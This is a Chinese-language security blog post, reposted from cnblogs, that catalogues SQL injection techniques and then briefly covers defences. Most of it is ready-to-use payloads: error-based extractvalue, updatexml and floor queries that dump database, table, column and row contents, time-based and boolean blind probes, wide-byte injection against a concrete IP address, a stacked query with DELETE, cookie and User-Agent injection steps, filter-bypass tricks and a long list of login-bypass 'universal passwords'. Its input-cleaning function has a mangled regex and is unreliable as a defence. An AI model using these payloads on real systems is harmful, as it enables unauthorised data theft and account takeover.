SQL注入的分类

Boolean盲注

Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。

id=1' and length(database())>=8--+

Union注入

当应用程序容易受到 SQL 注入攻击,并且查询结果在应用程序的响应中返回时,可使用 UNION 关键字从数据库的其他表检索数据。这就导致了 UNION 注入攻击。

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

文件读写

SQL注入读写文件的根本条件:

  1. 数据库允许导入导出(secure_file_priv)

  1. 当前用户用户文件操作权限(File_priv)

报错注入{ floor报错注入

floor:对任意的正或者负十进制值向下取整;通常利用这两个函数(group by)的方法是floor(rand(0))*2 ,其会生成0和1两个数

        爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆表名:'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆列名:'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆数据:'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a

ExtractValue报错注入:

    函数原型:extractvalue(xml_document,Xpath_string)

正常语法:extractvalue(xml_document,Xpath_string); 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:Xpath_string是xpath格式的字符串 作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

爆数据库名:id='and(select extractvalue(1,concat('~',(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

UpdataXml报错注入

        函数原型:updatexml(xml_document,xpath_string,new_value)

正常语法:updatexml(xml_document,xpath_string,new_value) 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格 式的字符串 第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

        爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) 爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)) 爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

} 时间盲注

时间盲注出现的本质原因也是由于服务器拼接了SQL语句,但是正确和错误存在同样的回显,所以根据页面响应时间来判断结果。

' and if(1=0,1, sleep(10)) --+ ,若为真时延时,则

爆数据库 ' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23(二分法猜解数据库名每一个数据,最好先爆数据库长度)

REGEXP正则匹配(盲注值正则表达式攻击)

应该场景就是盲注,原理就是直接查询自己需要的数据,然后通过正则表达式进行匹配,实用场景如下:

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1) 

宽字节注入

GBK 占用两字节,ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ = %df%5c%27=縗’,有了单引号就好注入了。

http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23

堆叠注入

在SQL语句中,语句的结束都是以结尾,但是如果我们在后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了。例:select * from users;DELETE FROM test

二次注入

攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

img

User-Agent注入

Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+;攻击者却将 SQL 查询语句 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中

Cookie注入

1.寻找形如“.asp?id=xx”类的带参数的URL。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

5.使用常规注入语句进行注入即可。

过滤绕过

1、过滤关键字

过滤如select、or、from等的关键字。则可以采用穿插关键字进行绕过操作,如 select ---- selselectect;or ----oorr;union ---- uniunionon。也可以通过大小写转换,如select --- SeLect。十六进制过滤 select --- selecx74等等。

2、过滤空格

注释:#;--;//。

URL编码:空格编码%20,则 %20 ---- %2520

3、过滤单引号

4、绕过相等过滤

万能密码

'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

SQL注入的预防

预编译

预编译可以防止sql注入的原因:进行预编译之后,sql语句已经被数据库分析,编译和优化了,并且允许数据库以参数化的形式进行查询,所以即使有敏感字符数据库也会当做属性值来处理而不是sql指令了

conn.prepareStatement(sql);

因为SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库以参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or '1=1'也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了防御SQL注入的作用了!

PDO

$dbh = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。

正则表达式过滤

function clean($str)
{
 $str=trim($str);
 $str=strip_tags($str);
 $str=stripslashes($str);
 $str=addslashes($str);
 $str=rawurldecode($str);
 $str=quotemeta($str);
 $str=htmlspecialchars($str);
 $str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
 $str=preg_replace("//s/", "", $str);//去除空格、换行符、制表符
 return $str;
}

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/sta6099/p/14555405.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!